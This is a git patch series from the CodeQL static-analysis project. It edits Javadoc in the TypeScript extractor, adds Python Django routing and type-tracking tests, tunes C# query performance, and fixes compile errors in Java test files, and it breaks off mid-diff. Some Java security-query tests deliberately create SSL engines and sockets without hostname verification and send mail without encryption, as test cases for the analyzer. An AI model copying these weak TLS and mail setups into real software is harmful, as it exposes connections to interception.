diff --git a/javascript/extractor/src/com/semmle/ts/ast/ITypeExpression.java b/javascript/extractor/src/com/semmle/ts/ast/ITypeExpression.java index 0054adb4f72..71185a7f92c 100644 --- a/javascript/extractor/src/com/semmle/ts/ast/ITypeExpression.java +++ b/javascript/extractor/src/com/semmle/ts/ast/ITypeExpression.java @@ -8,6 +8,6 @@ import com.semmle.js.ast.Literal; * *

    At the QL level, expressions and type annotations are completely separate. In the extractor, * however, some expressions such as {@link Literal} type may occur in a type annotation because the - * TypeScript AST does not distinguish null literals from the null type. + * TypeScript AST does not distinguish null literals from the null type. */ public interface ITypeExpression extends INode, ITypedAstNode {} diff --git a/javascript/extractor/src/com/semmle/ts/ast/ImportTypeExpr.java b/javascript/extractor/src/com/semmle/ts/ast/ImportTypeExpr.java index edf60004645..11535c3376c 100644 --- a/javascript/extractor/src/com/semmle/ts/ast/ImportTypeExpr.java +++ b/javascript/extractor/src/com/semmle/ts/ast/ImportTypeExpr.java @@ -4,7 +4,7 @@ import com.semmle.js.ast.Expression; import com.semmle.js.ast.SourceLocation; import com.semmle.js.ast.Visitor; -/** An import type such as in import("http").ServerRequest. */ +/** An import type such as in import("http").ServerRequest. */ public class ImportTypeExpr extends Expression implements ITypeExpression { private final ITypeExpression path; diff --git a/javascript/extractor/src/com/semmle/ts/ast/ImportWholeDeclaration.java b/javascript/extractor/src/com/semmle/ts/ast/ImportWholeDeclaration.java index 4631a615fe2..9b4c7b6b6d8 100644 --- a/javascript/extractor/src/com/semmle/ts/ast/ImportWholeDeclaration.java +++ b/javascript/extractor/src/com/semmle/ts/ast/ImportWholeDeclaration.java @@ -6,7 +6,7 @@ import com.semmle.js.ast.SourceLocation; import com.semmle.js.ast.Statement; import com.semmle.js.ast.Visitor; -/** An import of form import a = E. */ +/** An import of form import a = E. */ public class ImportWholeDeclaration extends Statement { private final Identifier lhs; private final Expression rhs; diff --git a/javascript/extractor/src/com/semmle/ts/ast/IndexedAccessTypeExpr.java b/javascript/extractor/src/com/semmle/ts/ast/IndexedAccessTypeExpr.java index baf7b95ff2e..420084d3ef2 100644 --- a/javascript/extractor/src/com/semmle/ts/ast/IndexedAccessTypeExpr.java +++ b/javascript/extractor/src/com/semmle/ts/ast/IndexedAccessTypeExpr.java @@ -3,7 +3,7 @@ package com.semmle.ts.ast; import com.semmle.js.ast.SourceLocation; import com.semmle.js.ast.Visitor; -/** A type of form T[K] where T and K are types. */ +/** A type of form T[K] where T and K are types. */ public class IndexedAccessTypeExpr extends TypeExpression { private final ITypeExpression objectType; private final ITypeExpression indexType; diff --git a/javascript/extractor/src/com/semmle/ts/ast/InferTypeExpr.java b/javascript/extractor/src/com/semmle/ts/ast/InferTypeExpr.java index a18269ce6c2..b9d24409ea6 100644 --- a/javascript/extractor/src/com/semmle/ts/ast/InferTypeExpr.java +++ b/javascript/extractor/src/com/semmle/ts/ast/InferTypeExpr.java @@ -3,7 +3,7 @@ package com.semmle.ts.ast; import com.semmle.js.ast.SourceLocation; import com.semmle.js.ast.Visitor; -/** A type annotation of form infer R */ +/** A type annotation of form infer R */ public class InferTypeExpr extends TypeExpression { private TypeParameter typeParameter; diff --git a/javascript/extractor/src/com/semmle/ts/ast/InterfaceTypeExpr.java b/javascript/extractor/src/com/semmle/ts/ast/InterfaceTypeExpr.java index 20f2b45b2b8..2c34d0bdb6a 100644 --- a/javascript/extractor/src/com/semmle/ts/ast/InterfaceTypeExpr.java +++ b/javascript/extractor/src/com/semmle/ts/ast/InterfaceTypeExpr.java @@ -5,7 +5,7 @@ import com.semmle.js.ast.SourceLocation; import com.semmle.js.ast.Visitor; import java.util.List; -/** An inline interface type, such as {x: number; y: number}. */ +/** An inline interface type, such as {x: number; y: number}. */ public class InterfaceTypeExpr extends TypeExpression { private final List> body; diff --git a/javascript/extractor/src/com/semmle/ts/ast/IntersectionTypeExpr.java b/javascript/extractor/src/com/semmle/ts/ast/IntersectionTypeExpr.java index 2ff10be12cb..820ec752ce7 100644 --- a/javascript/extractor/src/com/semmle/ts/ast/IntersectionTypeExpr.java +++ b/javascript/extractor/src/com/semmle/ts/ast/IntersectionTypeExpr.java @@ -5,8 +5,8 @@ import com.semmle.js.ast.Visitor; import java.util.List; /** - * An intersection type such as T&S, denoting the intersection of type T and - * type S. + * An intersection type such as T&S, denoting the intersection of type T and + * type S. */ public class IntersectionTypeExpr extends TypeExpression { private final List elementTypes; diff --git a/javascript/extractor/src/com/semmle/ts/ast/KeywordTypeExpr.java b/javascript/extractor/src/com/semmle/ts/ast/KeywordTypeExpr.java index ede17e079e9..173dfc36294 100644 --- a/javascript/extractor/src/com/semmle/ts/ast/KeywordTypeExpr.java +++ b/javascript/extractor/src/com/semmle/ts/ast/KeywordTypeExpr.java @@ -4,14 +4,14 @@ import com.semmle.js.ast.SourceLocation; import com.semmle.js.ast.Visitor; /** - * One of the TypeScript keyword types, such as string or any. + * One of the TypeScript keyword types, such as string or any. * - *

    This includes the type unique symbol which consists of two keywords but is + *

    This includes the type unique symbol which consists of two keywords but is * represented as a keyword single type expression. * - *

    At the QL level, the null type is also a keyword type. In the extractor, however, + *

    At the QL level, the null type is also a keyword type. In the extractor, however, * this is represented by a Literal, because the TypeScript AST does not distinguish those two uses - * of null. + * of null. */ public class KeywordTypeExpr extends TypeExpression { private final String keyword; diff --git a/javascript/extractor/src/com/semmle/ts/ast/MappedTypeExpr.java b/javascript/extractor/src/com/semmle/ts/ast/MappedTypeExpr.java index 30129296f34..7c951096bcc 100644 --- a/javascript/extractor/src/com/semmle/ts/ast/MappedTypeExpr.java +++ b/javascript/extractor/src/com/semmle/ts/ast/MappedTypeExpr.java @@ -4,10 +4,10 @@ import com.semmle.js.ast.SourceLocation; import com.semmle.js.ast.Visitor; /** - * A type of form { [K in C]: T }, where T is a type that may refer to K. + * A type of form { [K in C]: T }, where T is a type that may refer to K. * - *

    As with the TypeScript AST, the K in C part is represented as a type parameter with - * C as its upper bound. + *

    As with the TypeScript AST, the K in C part is represented as a type parameter with + * C as its upper bound. */ public class MappedTypeExpr extends TypeExpression { private final TypeParameter typeParameter; diff --git a/javascript/extractor/src/com/semmle/ts/ast/NonNullAssertion.java b/javascript/extractor/src/com/semmle/ts/ast/NonNullAssertion.java index 485b827ce97..6fe3d04b6c8 100644 --- a/javascript/extractor/src/com/semmle/ts/ast/NonNullAssertion.java +++ b/javascript/extractor/src/com/semmle/ts/ast/NonNullAssertion.java @@ -4,7 +4,7 @@ import com.semmle.js.ast.Expression; import com.semmle.js.ast.SourceLocation; import com.semmle.js.ast.Visitor; -/** A TypeScript expression of form E!, asserting that E is not null. */ +/** A TypeScript expression of form E!, asserting that E is not null. */ public class NonNullAssertion extends Expression { private final Expression expression; diff --git a/javascript/extractor/src/com/semmle/ts/ast/OptionalTypeExpr.java b/javascript/extractor/src/com/semmle/ts/ast/OptionalTypeExpr.java index 3d98f563127..b474c8cbaea 100644 --- a/javascript/extractor/src/com/semmle/ts/ast/OptionalTypeExpr.java +++ b/javascript/extractor/src/com/semmle/ts/ast/OptionalTypeExpr.java @@ -3,7 +3,7 @@ package com.semmle.ts.ast; import com.semmle.js.ast.SourceLocation; import com.semmle.js.ast.Visitor; -/** An optional type in a tuple type, such as number? in [string, number?]. */ +/** An optional type in a tuple type, such as number? in [string, number?]. */ public class OptionalTypeExpr extends TypeExpression { private final ITypeExpression elementType; diff --git a/javascript/extractor/src/com/semmle/ts/ast/ParenthesizedTypeExpr.java b/javascript/extractor/src/com/semmle/ts/ast/ParenthesizedTypeExpr.java index 1be6f191ff7..fd17b9ade0a 100644 --- a/javascript/extractor/src/com/semmle/ts/ast/ParenthesizedTypeExpr.java +++ b/javascript/extractor/src/com/semmle/ts/ast/ParenthesizedTypeExpr.java @@ -3,7 +3,7 @@ package com.semmle.ts.ast; import com.semmle.js.ast.SourceLocation; import com.semmle.js.ast.Visitor; -/** A type expression in parentheses, such as ("foo" | "bar"). */ +/** A type expression in parentheses, such as ("foo" | "bar"). */ public class ParenthesizedTypeExpr extends TypeExpression { private final ITypeExpression elementType; diff --git a/javascript/extractor/src/com/semmle/ts/ast/PredicateTypeExpr.java b/javascript/extractor/src/com/semmle/ts/ast/PredicateTypeExpr.java index 27bd3c1718c..f0b6042448a 100644 --- a/javascript/extractor/src/com/semmle/ts/ast/PredicateTypeExpr.java +++ b/javascript/extractor/src/com/semmle/ts/ast/PredicateTypeExpr.java @@ -4,8 +4,8 @@ import com.semmle.js.ast.SourceLocation; import com.semmle.js.ast.Visitor; /** - * A type of form E is T, asserts E is T or asserts E where E is - * a parameter name or this and T is a type. + * A type of form E is T, asserts E is T or asserts E where E is + * a parameter name or this and T is a type. */ public class PredicateTypeExpr extends TypeExpression { private final ITypeExpression expression; @@ -23,12 +23,12 @@ public class PredicateTypeExpr extends TypeExpression { this.hasAssertsKeyword = hasAssertsKeyword; } - /** Returns the E in E is T. */ + /** Returns the E in E is T. */ public ITypeExpression getExpression() { return expression; } - /** Returns the T in E is T. */ + /** Returns the T in E is T. */ public ITypeExpression getTypeExpr() { return type; } diff --git a/javascript/extractor/src/com/semmle/ts/ast/RestTypeExpr.java b/javascript/extractor/src/com/semmle/ts/ast/RestTypeExpr.java index ef0d9ad7f7f..5acb1069ee5 100644 --- a/javascript/extractor/src/com/semmle/ts/ast/RestTypeExpr.java +++ b/javascript/extractor/src/com/semmle/ts/ast/RestTypeExpr.java @@ -3,7 +3,7 @@ package com.semmle.ts.ast; import com.semmle.js.ast.SourceLocation; import com.semmle.js.ast.Visitor; -/** A rest type in a tuple type, such as number[] in [string, ...number[]]. */ +/** A rest type in a tuple type, such as number[] in [string, ...number[]]. */ public class RestTypeExpr extends TypeExpression { private final ITypeExpression arrayType; diff --git a/javascript/extractor/src/com/semmle/ts/ast/TupleTypeExpr.java b/javascript/extractor/src/com/semmle/ts/ast/TupleTypeExpr.java index a42df41847e..aa175b59167 100644 --- a/javascript/extractor/src/com/semmle/ts/ast/TupleTypeExpr.java +++ b/javascript/extractor/src/com/semmle/ts/ast/TupleTypeExpr.java @@ -5,7 +5,7 @@ import com.semmle.js.ast.SourceLocation; import com.semmle.js.ast.Visitor; import java.util.List; -/** A tuple type, such as [number, string]. */ +/** A tuple type, such as [number, string]. */ public class TupleTypeExpr extends TypeExpression { private final List elementTypes; private final List elementNames; diff --git a/javascript/extractor/src/com/semmle/ts/ast/TypeAssertion.java b/javascript/extractor/src/com/semmle/ts/ast/TypeAssertion.java index 6a9150f93c2..39b108dac79 100644 --- a/javascript/extractor/src/com/semmle/ts/ast/TypeAssertion.java +++ b/javascript/extractor/src/com/semmle/ts/ast/TypeAssertion.java @@ -30,7 +30,7 @@ public class TypeAssertion extends Expression { } /** - * True if this is an assertion of form E as T, as opposed to the old syntax + * True if this is an assertion of form E as T, as opposed to the old syntax * <T> E. */ public boolean isAsExpression() { diff --git a/javascript/extractor/src/com/semmle/ts/ast/TypeParameter.java b/javascript/extractor/src/com/semmle/ts/ast/TypeParameter.java index 7cbf8d2d0eb..c5c516ef2d4 100644 --- a/javascript/extractor/src/com/semmle/ts/ast/TypeParameter.java +++ b/javascript/extractor/src/com/semmle/ts/ast/TypeParameter.java @@ -7,7 +7,7 @@ import com.semmle.js.ast.Visitor; /** * A type parameter declared on a class, interface, function, or type alias. * - *

    The general form of a type parameter is: S extends T = U. + *

    The general form of a type parameter is: S extends T = U. */ public class TypeParameter extends TypeExpression { private final Identifier id; @@ -29,7 +29,7 @@ public class TypeParameter extends TypeExpression { /** * Returns the bound on the type parameter, or {@code null} if there is no bound. * - *

    For example, in T extends Array = number[] the bound is Array. + *

    For example, in T extends Array = number[] the bound is Array. */ public ITypeExpression getBound() { return bound; @@ -38,7 +38,7 @@ public class TypeParameter extends TypeExpression { /** * Returns the type parameter default, or {@code null} if there is no default, * - *

    For example, in T extends Array = number[] the default is number[]. + *

    For example, in T extends Array = number[] the default is number[]. */ public ITypeExpression getDefault() { return default_; diff --git a/javascript/extractor/src/com/semmle/ts/ast/TypeofTypeExpr.java b/javascript/extractor/src/com/semmle/ts/ast/TypeofTypeExpr.java index cf308191a03..ed56a4c7f9b 100644 --- a/javascript/extractor/src/com/semmle/ts/ast/TypeofTypeExpr.java +++ b/javascript/extractor/src/com/semmle/ts/ast/TypeofTypeExpr.java @@ -4,7 +4,7 @@ import com.semmle.js.ast.SourceLocation; import com.semmle.js.ast.Visitor; /** - * A type of form typeof E where E is an expression that takes the form of a + * A type of form typeof E where E is an expression that takes the form of a * qualified name. */ public class TypeofTypeExpr extends TypeExpression { diff --git a/javascript/extractor/src/com/semmle/ts/ast/UnaryTypeExpr.java b/javascript/extractor/src/com/semmle/ts/ast/UnaryTypeExpr.java index 5682bb11d03..66658f27c8e 100644 --- a/javascript/extractor/src/com/semmle/ts/ast/UnaryTypeExpr.java +++ b/javascript/extractor/src/com/semmle/ts/ast/UnaryTypeExpr.java @@ -6,7 +6,7 @@ import com.semmle.js.ast.Visitor; /** * A unary operator applied to a type. * - *

    This can be keyof T or readonly T. + *

    This can be keyof T or readonly T. */ public class UnaryTypeExpr extends TypeExpression { private final ITypeExpression elementType; diff --git a/javascript/extractor/src/com/semmle/ts/ast/UnionTypeExpr.java b/javascript/extractor/src/com/semmle/ts/ast/UnionTypeExpr.java index 4be288914f4..fedb0dc5482 100644 --- a/javascript/extractor/src/com/semmle/ts/ast/UnionTypeExpr.java +++ b/javascript/extractor/src/com/semmle/ts/ast/UnionTypeExpr.java @@ -4,7 +4,7 @@ import com.semmle.js.ast.SourceLocation; import com.semmle.js.ast.Visitor; import java.util.List; -/** A union type such as number | string | boolean. */ +/** A union type such as number | string | boolean. */ public class UnionTypeExpr extends TypeExpression { private final List elementTypes; diff --git a/javascript/extractor/src/com/semmle/ts/extractor/TypeExtractor.java b/javascript/extractor/src/com/semmle/ts/extractor/TypeExtractor.java index caf88175956..08f261b71de 100644 --- a/javascript/extractor/src/com/semmle/ts/extractor/TypeExtractor.java +++ b/javascript/extractor/src/com/semmle/ts/extractor/TypeExtractor.java @@ -12,7 +12,7 @@ import java.util.Map; /** * Extracts type and symbol information into TRAP files. * - *

    This is closely coupled with the type_table.ts file in the parser-wrapper. Type + *

    This is closely coupled with the type_table.ts file in the parser-wrapper. Type * strings and symbol strings generated in that file are parsed here. See that file for reference * and documentation. */ diff --git a/javascript/extractor/src/com/semmle/ts/extractor/TypeScriptASTConverter.java b/javascript/extractor/src/com/semmle/ts/extractor/TypeScriptASTConverter.java index 0824ad9be17..36d4f888618 100644 --- a/javascript/extractor/src/com/semmle/ts/extractor/TypeScriptASTConverter.java +++ b/javascript/extractor/src/com/semmle/ts/extractor/TypeScriptASTConverter.java @@ -703,14 +703,14 @@ public class TypeScriptASTConverter { } /** - * Converts the given child to an AST node of the given type or null. A ParseError is + * Converts the given child to an AST node of the given type or null. A ParseError is * thrown if a different type of node was found. * *

    This is used to detect syntax errors that are not reported as syntax errors by the * TypeScript parser. Usually they are reported as errors in a later compiler stage, which the * extractor does not run. * - *

    Returns null if the child is absent. + *

    Returns null if the child is absent. */ @SuppressWarnings("unchecked") private T tryConvertChild(JsonObject node, String prop, Class expectedType) @@ -2515,8 +2515,8 @@ public class TypeScriptASTConverter { } /** - * Returns a specific modifier from the given node (or null if absent), as defined by its - * modifiers property and the kind property of the modifier AST node. + * Returns a specific modifier from the given node (or null if absent), as defined by its + * modifiers property and the kind property of the modifier AST node. */ private JsonObject getModifier(JsonObject node, String modKind) { for (JsonElement mod : getModifiers(node)) @@ -2526,8 +2526,8 @@ public class TypeScriptASTConverter { } /** - * Check whether a node has a particular modifier, as defined by its modifiers property - * and the kind property of the modifier AST node. + * Check whether a node has a particular modifier, as defined by its modifiers property + * and the kind property of the modifier AST node. */ private boolean hasModifier(JsonObject node, String modKind) { return getModifier(node, modKind) != null; @@ -2568,8 +2568,8 @@ public class TypeScriptASTConverter { } /** - * Check whether a node has a particular flag, as defined by its flags property and the - * ts.NodeFlags in enum. + * Check whether a node has a particular flag, as defined by its flags property and the + * ts.NodeFlags in enum. */ private boolean hasFlag(JsonObject node, String flagName) { int flagId = metadata.getNodeFlagId(flagName); diff --git a/javascript/extractor/src/com/semmle/ts/extractor/TypeScriptParser.java b/javascript/extractor/src/com/semmle/ts/extractor/TypeScriptParser.java index 36792f2d204..70a06656df8 100644 --- a/javascript/extractor/src/com/semmle/ts/extractor/TypeScriptParser.java +++ b/javascript/extractor/src/com/semmle/ts/extractor/TypeScriptParser.java @@ -97,7 +97,7 @@ public class TypeScriptParser { public static final String TYPESCRIPT_RETRIES_VAR = "SEMMLE_TYPESCRIPT_RETRIES"; /** - * An environment variable (without the SEMMLE_ or LGTM_ prefix), that can be + * An environment variable (without the SEMMLE_ or LGTM_ prefix), that can be * set to indicate the maximum heap space usable by the Node.js process, in addition to its * "reserve memory". * @@ -106,7 +106,7 @@ public class TypeScriptParser { public static final String TYPESCRIPT_RAM_SUFFIX = "TYPESCRIPT_RAM"; /** - * An environment variable (without the SEMMLE_ or LGTM_ prefix), that can be + * An environment variable (without the SEMMLE_ or LGTM_ prefix), that can be * set to indicate the amount of heap space the Node.js process should reserve for extracting * individual files. * diff --git a/javascript/extractor/src/com/semmle/ts/extractor/TypeTable.java b/javascript/extractor/src/com/semmle/ts/extractor/TypeTable.java index 0b7e98d0c2a..53d8c437d92 100644 --- a/javascript/extractor/src/com/semmle/ts/extractor/TypeTable.java +++ b/javascript/extractor/src/com/semmle/ts/extractor/TypeTable.java @@ -4,9 +4,9 @@ import com.google.gson.JsonArray; import com.google.gson.JsonObject; /** - * Holds the output of the get-type-table command. + * Holds the output of the get-type-table command. * - *

    See documentation in parser-wrapper/src/type_table.ts. + *

    See documentation in parser-wrapper/src/type_table.ts. */ public class TypeTable { private final JsonArray typeStrings; From eb7e30d472b96a9493ea34996db9ea4ffc4a1a3a Mon Sep 17 00:00:00 2001 From: Rasmus Wriedt Larsen Date: Tue, 9 Feb 2021 13:25:12 +0100 Subject: [PATCH 1118/1241] Python: Add test of django view handler with decorator Which we currently don't handle :( Also added a bit more explanatory comments --- .../frameworks/django-v2-v3/routing_test.py | 18 ++++++++++++++++++ 1 file changed, 18 insertions(+) diff --git a/python/ql/test/experimental/library-tests/frameworks/django-v2-v3/routing_test.py b/python/ql/test/experimental/library-tests/frameworks/django-v2-v3/routing_test.py index 9d8c2dedc03..d6736433b0f 100644 --- a/python/ql/test/experimental/library-tests/frameworks/django-v2-v3/routing_test.py +++ b/python/ql/test/experimental/library-tests/frameworks/django-v2-v3/routing_test.py @@ -3,6 +3,7 @@ from django.urls import path, re_path from django.http import HttpResponse, HttpResponseRedirect, JsonResponse, HttpResponseNotFound from django.views import View import django.views.generic.base +from django.views.decorators.http import require_GET def url_match_xss(request, foo, bar, no_taint=None): # $requestHandler routedParameter=foo routedParameter=bar @@ -105,6 +106,10 @@ urlpatterns = [ path("not_valid/", not_valid_identifier), # $routeSetup="not_valid/" ] +################################################################################ +# Deprecated django.conf.urls.url +################################################################################ + # This version 1.x way of defining urls is deprecated in Django 3.1, but still works from django.conf.urls import url @@ -116,9 +121,22 @@ urlpatterns = [ ] +################################################################################ +# Special stuff +################################################################################ + class PossiblyNotRouted(View): # Even if our analysis can't find a route-setup for this class, we should still # consider it to be a handle incoming HTTP requests def get(self, request, possibly_not_routed=42): # $ requestHandler routedParameter=possibly_not_routed return HttpResponse('PossiblyNotRouted get: {}'.format(possibly_not_routed)) # $HttpResponse + + +@require_GET +def with_decorator(request, foo): # $ MISSING: requestHandler routedParameter=foo + pass + +urlpatterns = [ + path("with_decorator/", with_decorator), # $ routeSetup="with_decorator/" +] From 1d25184b3214078361865d579d3c0a6fd63f61e5 Mon Sep 17 00:00:00 2001 From: Rasmus Wriedt Larsen Date: Tue, 9 Feb 2021 13:35:44 +0100 Subject: [PATCH 1119/1241] Python: Add test for type-tracking through decorators In general, if there is _some_ decorator on a function, it might not be safe to track content out of it (since the decorator could do anything), but in this case, we can see what the decorator does, so we should be able to handle it (but we don't right now). By my understanding of how type-tracking works, if we track content through `my_decorator`, then we would also track content to the result of `unrelated_func()`, which I wanted to make sure our tests would catch. I found out the core of the problem seems to come from our lack of being able to track to the inner scope, and added an explicit test for that. --- .../dataflow/typetracking/test.py | 35 +++++++++++++++++++ 1 file changed, 35 insertions(+) diff --git a/python/ql/test/experimental/dataflow/typetracking/test.py b/python/ql/test/experimental/dataflow/typetracking/test.py index a4dd1baeac1..4392e3bbf46 100644 --- a/python/ql/test/experimental/dataflow/typetracking/test.py +++ b/python/ql/test/experimental/dataflow/typetracking/test.py @@ -56,6 +56,41 @@ def test_import(): y # $tracked mymodule.z # $tracked + +def to_inner_scope(): + x = tracked # $tracked + def foo(): + y = x # $ MISSING: tracked + return y # $ MISSING: tracked + also_x = foo() # $ MISSING: tracked + print(also_x) # $ MISSING: tracked + + +def my_decorator(func): + # This part doesn't make any sense in a normal decorator, but just shows how we + # handle type-tracking + + func() # $tracked + + def wrapper(): + print("before function call") + val = func() # $ MISSING: tracked + print("after function call") + return val # $ MISSING: tracked + return wrapper + +@my_decorator +def get_tracked2(): + return tracked # $tracked + +@my_decorator +def unrelated_func(): + return "foo" + +def use_funcs_with_decorators(): + x = get_tracked2() # $ MISSING: tracked + y = unrelated_func() + # ------------------------------------------------------------------------------ def expects_int(x): # $int From 9854b95c30ce6161fe811adc21b0699851725c60 Mon Sep 17 00:00:00 2001 From: Tamas Vajk Date: Mon, 8 Feb 2021 11:18:56 +0100 Subject: [PATCH 1120/1241] Fix query performance --- csharp/ql/src/Likely Bugs/NestedLoopsSameVariable.ql | 10 ++++++++-- csharp/ql/src/Likely Bugs/UncheckedCastInEquals.ql | 8 +++++++- 2 files changed, 15 insertions(+), 3 deletions(-) diff --git a/csharp/ql/src/Likely Bugs/NestedLoopsSameVariable.ql b/csharp/ql/src/Likely Bugs/NestedLoopsSameVariable.ql index 3e89dc89e9d..3e71e7c7894 100644 --- a/csharp/ql/src/Likely Bugs/NestedLoopsSameVariable.ql +++ b/csharp/ql/src/Likely Bugs/NestedLoopsSameVariable.ql @@ -27,6 +27,12 @@ class NestedForConditions extends SC::StructuralComparisonConfiguration { } } +private predicate hasChild(Stmt outer, Element child) { + outer = child.getParent() + or + hasChild(outer, child.getParent()) +} + /** A nested `for` statement that shares the same iteration variable as an outer `for` statement. */ class NestedForLoopSameVariable extends ForStmt { ForStmt outer; @@ -35,7 +41,7 @@ class NestedForLoopSameVariable extends ForStmt { MutatorOperation outerUpdate; NestedForLoopSameVariable() { - outer = this.getParent+() and + hasChild(outer, this) and innerUpdate = this.getAnUpdate() and outerUpdate = outer.getAnUpdate() and innerUpdate.getOperand() = iteration.getAnAccess() and @@ -88,7 +94,7 @@ class NestedForLoopSameVariable extends ForStmt { /** Finds elements inside the outer loop that are no longer guarded by the loop invariant. */ private ControlFlow::Node getAnUnguardedNode() { - result.getElement().getParent+() = getOuterForStmt().getBody() and + hasChild(getOuterForStmt().getBody(), result.getElement()) and ( result = this.getCondition().(ControlFlowElement).getAControlFlowExitNode().getAFalseSuccessor() diff --git a/csharp/ql/src/Likely Bugs/UncheckedCastInEquals.ql b/csharp/ql/src/Likely Bugs/UncheckedCastInEquals.ql index 5d2ef55cd1f..7c93d25d646 100644 --- a/csharp/ql/src/Likely Bugs/UncheckedCastInEquals.ql +++ b/csharp/ql/src/Likely Bugs/UncheckedCastInEquals.ql @@ -12,12 +12,18 @@ import csharp import semmle.code.csharp.frameworks.System +private predicate equalsMethodChild(EqualsMethod equals, Element child) { + child = equals + or + equalsMethodChild(equals, child.getParent()) +} + predicate nodeBeforeParameterAccess(ControlFlow::Node node) { exists(EqualsMethod equals | equals.getBody() = node.getElement()) or exists(EqualsMethod equals, Parameter param, ControlFlow::Node mid | equals.getParameter(0) = param and - equals.getAChild*() = mid.getElement() and + equalsMethodChild(equals, mid.getElement()) and nodeBeforeParameterAccess(mid) and not param.getAnAccess() = mid.getElement() and mid.getASuccessor() = node From e194411cfaf4c1a61955ba853ad8fd7984a2ef8b Mon Sep 17 00:00:00 2001 From: yo-h <55373593+yo-h@users.noreply.github.com> Date: Tue, 9 Feb 2021 09:16:57 -0500 Subject: [PATCH 1121/1241] Java: fix javac errors in test code --- .../security/CWE-273/UnsafeCertTrustTest.java | 10 ++++----- .../security/CWE-297/InsecureJavaMail.java | 4 ++-- .../CWE-312/CleartextStorageSharedPrefs.java | 12 +++++----- .../security/CWE-326/InsufficientKeySize.java | 2 +- .../security/CWE-522/InsecureBasicAuth.java | 12 +++++----- .../security/CWE-522/InsecureLdapAuth.java | 20 ++++++++--------- .../security/CWE-918/SpringSSRF.java | 3 ++- .../library-tests/ExternalProcess/Test.java | 8 +++---- .../library-tests/RelativePaths/Test.java | 2 +- .../commentedcode/CommentedCode.java | 2 +- .../library-tests/dataflow/capture/A.java | 2 +- .../dataflow/taint-ioutils/Test.java | 2 +- .../dataflow/taint-jackson/Test.java | 4 ++-- .../test/library-tests/dataflow/taint/A.java | 12 +++++----- .../test/library-tests/dataflow/taint/B.java | 2 +- .../dataflow/taintsources/IntentSources.java | 10 ++++----- .../dataflow/taintsources/RmiFlow.java | 2 +- .../dataflow/taintsources/RmiFlowImpl.java | 4 ++-- .../dispatch/ViableCallable.java | 20 ++++++++--------- .../dispatch/ViableCallable2.java | 4 ++-- java/ql/test/library-tests/guards/Logic.java | 2 +- java/ql/test/library-tests/guards/Test.java | 2 +- .../pathcreation/PathCreation.java | 14 ++++++------ .../reflection/ReflectiveAccess.java | 2 +- .../successors/TestThrow2/TestThrow2.java | 4 ++-- .../CloseReader/CloseReader.java | 2 +- .../query-tests/ContinueInFalseLoop/A.java | 4 ++-- .../MissingCallToSuperClone/Test.java | 4 ++-- .../MissingInstanceofInEquals/GoodReturn.java | 2 +- java/ql/test/query-tests/Nullness/C.java | 4 ++-- java/ql/test/query-tests/RangeAnalysis/A.java | 4 ++-- .../test/query-tests/UseBraces/UseBraces.java | 14 ++++++------ .../UselessComparisonTest/Test.java | 2 +- .../test/query-tests/UselessNullCheck/A.java | 4 ++-- .../dead-code/DeadField/ReflectionTest.java | 2 +- .../DeadMethod/ReflectionMethodTest.java | 2 +- .../CWE-022/semmle/tests/ZipTest.java | 14 ++++++------ .../query-tests/security/CWE-078/Test.java | 10 ++++----- .../CWE-297/UnsafeHostnameVerification.java | 2 +- .../security/CWE-311/CWE-319/Test.java | 2 +- .../security/CWE-421/semmle/Test.java | 4 ++-- .../test/query-tests/security/CWE-502/A.java | 22 +++++++++---------- .../test/query-tests/security/CWE-502/B.java | 8 +++---- .../CWE-611/DocumentBuilderTests.java | 4 ++-- .../security/CWE-732/semmle/tests/Test.java | 4 ++-- .../semmle/tests/MethodAccessLockOrder.java | 4 ++-- .../android/app/Activity.java | 3 ++- .../android/content/Intent.java | 4 +++- .../android/os/BaseBundle.java | 1 + .../android/os/Parcel.java | 1 + .../crypto/EncryptedSharedPreferences.java | 3 ++- 51 files changed, 149 insertions(+), 142 deletions(-) diff --git a/java/ql/test/experimental/query-tests/security/CWE-273/UnsafeCertTrustTest.java b/java/ql/test/experimental/query-tests/security/CWE-273/UnsafeCertTrustTest.java index a45727a7406..1e8ecbbc20d 100644 --- a/java/ql/test/experimental/query-tests/security/CWE-273/UnsafeCertTrustTest.java +++ b/java/ql/test/experimental/query-tests/security/CWE-273/UnsafeCertTrustTest.java @@ -87,7 +87,7 @@ public class UnsafeCertTrustTest { /** * Test the endpoint identification of SSL engine is set to null */ - public void testSSLEngineEndpointIdSetNull() { + public void testSSLEngineEndpointIdSetNull() throws java.security.NoSuchAlgorithmException { SSLContext sslContext = SSLContext.getInstance("TLS"); SSLEngine sslEngine = sslContext.createSSLEngine(); SSLParameters sslParameters = sslEngine.getSSLParameters(); @@ -98,7 +98,7 @@ public class UnsafeCertTrustTest { /** * Test the endpoint identification of SSL engine is not set */ - public void testSSLEngineEndpointIdNotSet() { + public void testSSLEngineEndpointIdNotSet() throws java.security.NoSuchAlgorithmException { SSLContext sslContext = SSLContext.getInstance("TLS"); SSLEngine sslEngine = sslContext.createSSLEngine(); } @@ -106,7 +106,7 @@ public class UnsafeCertTrustTest { /** * Test the endpoint identification of SSL socket is not set */ - public void testSSLSocketEndpointIdNotSet() { + public void testSSLSocketEndpointIdNotSet() throws java.security.NoSuchAlgorithmException, java.io.IOException { SSLContext sslContext = SSLContext.getInstance("TLS"); final SSLSocketFactory socketFactory = sslContext.getSocketFactory(); SSLSocket socket = (SSLSocket) socketFactory.createSocket("www.example.com", 443); @@ -115,7 +115,7 @@ public class UnsafeCertTrustTest { /** * Test the endpoint identification of regular socket is not set */ - public void testSocketEndpointIdNotSet() { + public void testSocketEndpointIdNotSet() throws java.io.IOException { SocketFactory socketFactory = SocketFactory.getDefault(); Socket socket = socketFactory.createSocket("www.example.com", 80); } @@ -127,4 +127,4 @@ public class UnsafeCertTrustTest { // ConnectionFactory connectionFactory = new ConnectionFactory(); // connectionFactory.useSslProtocol(); // } -} \ No newline at end of file +} diff --git a/java/ql/test/experimental/query-tests/security/CWE-297/InsecureJavaMail.java b/java/ql/test/experimental/query-tests/security/CWE-297/InsecureJavaMail.java index 05d700437dd..62c64027695 100644 --- a/java/ql/test/experimental/query-tests/security/CWE-297/InsecureJavaMail.java +++ b/java/ql/test/experimental/query-tests/security/CWE-297/InsecureJavaMail.java @@ -29,7 +29,7 @@ class InsecureJavaMail { final Session session = Session.getInstance(properties, authenticator); } - public void testSimpleMail() { + public void testSimpleMail() throws Exception { Email email = new SimpleEmail(); email.setHostName("config.hostName"); email.setSmtpPort(25); @@ -42,4 +42,4 @@ class InsecureJavaMail { email.addTo("toAddress"); email.send(); } -} \ No newline at end of file +} diff --git 